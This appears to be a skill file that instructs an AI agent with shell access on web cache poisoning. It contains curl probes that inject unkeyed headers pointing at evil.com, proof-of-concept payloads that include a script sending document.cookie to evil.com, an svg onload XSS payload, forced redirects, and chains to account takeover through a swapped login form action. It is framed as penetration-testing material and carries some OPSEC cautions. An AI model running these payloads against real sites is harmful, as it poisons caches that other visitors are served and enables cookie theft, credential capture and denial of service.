| name | web-cache-poisoning |
| description | Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare","mitre_attack":"T1565.001","subdomain":"execution","tags":"web-application, cache, cdn, unkeyed-input, stored-xss"} |
Web Cache Poisoning Playbook
Distinct from cache deception (tricking the cache into storing a victim's
private response). Here, the attacker poisons the shared cache so every
subsequent visitor receives an attacker-controlled response. Impact ranges from
defacement → reflected-XSS-as-stored → forced-redirect → DoS.
1. Detection — find unkeyed inputs
Definition: an unkeyed input is a header/parameter the cache ignores when
building the cache key but the origin reflects into the response.
URL="https://<TARGET>/"
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
"X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
"X-Host: evil.com" "X-Original-URL: /admin" \
"X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
"Forwarded: host=evil.com"; do
echo "== $H =="
curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com"
2. Misconfig / technique matrix
| Class | Trigger | Outcome |
|---|
| Standard unkeyed header | X-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLs | stored open-redirect / XSS |
| Scheme downgrade | X-Forwarded-Scheme: http reflected | force-HTTP cache → MITM |
| Port confusion | X-Forwarded-Port: 1 reflected into JS asset URLs | broken site DoS |
| Routing override | X-Original-URL: /admin, X-Rewrite-URL | cached admin page served to public |
| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |
| Parameter cloaking | ?utm=x&utm=<payload> — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives |
| Key normalization flaw | cache lowercases path, origin doesn't (or strips ;jsessionid) | desync key vs. response |
Cache-key injection via Vary gap | response varies on header cache doesn't include | per-attacker poisoning |
| HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning |
| Cache-Control overlap | origin returns Cache-Control: private, CDN ignores it | private response cached globally |
| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |
| 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS |
3. Exploit PoC
3.1 Stored-XSS via unkeyed Host
curl -s "https://<TARGET>/?cb=$RANDOM" \
-H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'
3.2 Forced redirect
curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)
curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"
4. Chains
- Cache poisoning → stored XSS: reflected XSS upgraded to mass-victim impact via cached response.
- Cache poisoning → ATO: poison
/login to send creds to attacker via swapped form action.
- Cache poisoning → SSRF: poison API responses an internal job consumes.
- Smuggling → cache poisoning: HTTP request smuggling stores arbitrary attacker response globally.
5. Tools
- Burp Suite — Param Miner extension (Hackvertor + cache rules) — the canonical tool
cache-poisoning payload lists (PortSwigger research)
httpx -follow-redirects -title -tech-detect for fingerprinting Vary/X-Cache
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|
Repeated X-Forwarded-* permutations on one URL | WAF rule / access log | Cache-bust with ?cb=$RANDOM per probe; do NOT poison shared paths during tests |
| Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own |
Mass Age: 0 on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure |
Decision Gate: poisoning confirmed → exploitation